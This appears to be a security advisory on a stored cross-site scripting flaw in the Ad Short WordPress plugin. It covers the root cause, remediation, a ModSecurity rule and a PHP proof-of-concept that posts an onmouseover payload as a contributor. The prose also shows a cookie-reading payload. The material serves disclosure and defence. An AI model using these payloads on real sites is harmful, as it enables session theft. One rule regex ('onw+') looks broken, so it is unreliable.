Atomic Edge analysis of CVE-2026-4067 (metadata-based):
The Ad Short WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 2.0.1. The vulnerability exists in the plugin’s ‘ad’ shortcode handler, specifically in the processing of the ‘client’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts that execute when affected pages are viewed.
Atomic Edge research identifies the root cause as improper neutralization of user-controlled input before output in HTML context (CWE-79). The vulnerability description confirms the ad_func() shortcode handler at line 71 accepts a ‘client’ attribute via shortcode_atts() and directly concatenates it into a double-quoted HTML attribute (data-ad-client) at line 130 without applying esc_attr(). This analysis infers the plugin likely uses standard WordPress shortcode registration via add_shortcode() and retrieves attributes with shortcode_atts(), but fails to apply proper output escaping before injecting user input into HTML attributes.
Exploitation requires authenticated access with at least Contributor-level permissions. Attackers create or edit posts containing the vulnerable shortcode with a malicious ‘client’ attribute payload. The payload executes in victims’ browsers when they view the compromised page. A typical attack payload would be: [ad client=” onmouseover=alert(document.cookie) data-ad-client=”]. The injected JavaScript executes in the context of the victim’s session, potentially allowing session hijacking, content modification, or administrative actions if viewed by privileged users.
Remediation requires proper output escaping on the ‘client’ attribute value before concatenation into HTML. The fix should apply esc_attr() to the attribute value at line 130 where it is inserted into the data-ad-client attribute. WordPress security best practices mandate using appropriate escaping functions (esc_attr(), esc_html(), esc_url()) whenever outputting dynamic data into different HTML contexts. The plugin should also consider input validation to restrict the ‘client’ attribute to expected patterns.
Successful exploitation leads to stored cross-site scripting with medium impact. Attackers can steal session cookies, perform actions as the victim user, deface websites, or redirect users to malicious sites. The CVSS vector indicates scope change (S:C), meaning the vulnerability can affect components beyond the plugin’s security scope. While the attack requires Contributor-level access, many WordPress sites grant this permission to untrusted users for content submission, increasing the attack surface.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4067 (metadata-based)
# This rule blocks exploitation of the Ad Short plugin XSS vulnerability
# by detecting malicious 'client' attribute values in post content submissions
SecRule REQUEST_METHOD "@streq POST"
"id:20264067,phase:2,deny,status:403,chain,msg:'CVE-2026-4067: Ad Short plugin stored XSS via client attribute',severity:'CRITICAL',tag:'CVE-2026-4067',tag:'wordpress',tag:'plugin',tag:'ad-short',tag:'xss'"
SecRule REQUEST_URI "@rx ^/(wp-admin/post.php|wp-admin/post-new.php)$" "chain"
SecRule ARGS_POST:content "@rx \[ad[^\]]*client\s*=\s*['"]" "chain"
SecRule ARGS_POST:content "@rx client\s*=\s*['"][^'"]*[\s"'><](onw+|style|href|src)\s*="
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4067 - Ad Short <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'client' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-4067
* Assumptions based on vulnerability description:
* 1. WordPress installation with Ad Short plugin <= 2.0.1 installed
* 2. Attacker has Contributor-level credentials
* 3. Plugin uses standard WordPress shortcode [ad] with 'client' attribute
* 4. Shortcode output renders data-ad-client attribute without escaping
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: XSS via unescaped HTML attribute
$malicious_client = '" onmouseover="alert(`XSS via CVE-2026-4067`)" data-ad-client="';
// Create a post with the malicious shortcode
$post_data = [
'title' => 'Test Post with Malicious Ad',
'content' => '[ad client="' . $malicious_client . '"]',
'status' => 'publish'
];
// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get login page to retrieve nonce (WordPress security token)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);
// Extract nonce from login form (simplified - real implementation needs regex)
// WordPress login uses 'log' and 'pwd' parameters with wp_nonce fields
// Step 2: Authenticate
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$auth_response = curl_exec($ch);
// Step 3: Create post via WordPress REST API (Contributors can create posts)
// First get REST API nonce/authentication token
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$admin_page = curl_exec($ch);
// Extract REST nonce from page (simplified - would need proper parsing)
// In reality, would need to parse wpApiSettings.nonce from page HTML
// Step 4: Submit post via POST to wp-admin/post-new.php or REST API
// Using direct form submission as Contributors may not have full REST access
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_title' => $post_data['title'],
'content' => $post_data['content'],
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => '[would-extract-from-page]', // Requires actual nonce extraction
'_wp_http_referer' => '/wp-admin/post-new.php'
]));
$result = curl_exec($ch);
curl_close($ch);
// Check if post was created successfully
if (strpos($result, 'Post published') !== false || strpos($result, 'Post updated') !== false) {
echo "Exploit successful. Malicious shortcode inserted.";
echo "Visit the published post to trigger XSS payload.";
} else {
echo "Exploit may have failed. Check authentication and permissions.";
}
// Note: This PoC demonstrates the attack flow. A complete implementation
// requires proper nonce handling and may need adjustment for specific site configurations.
?>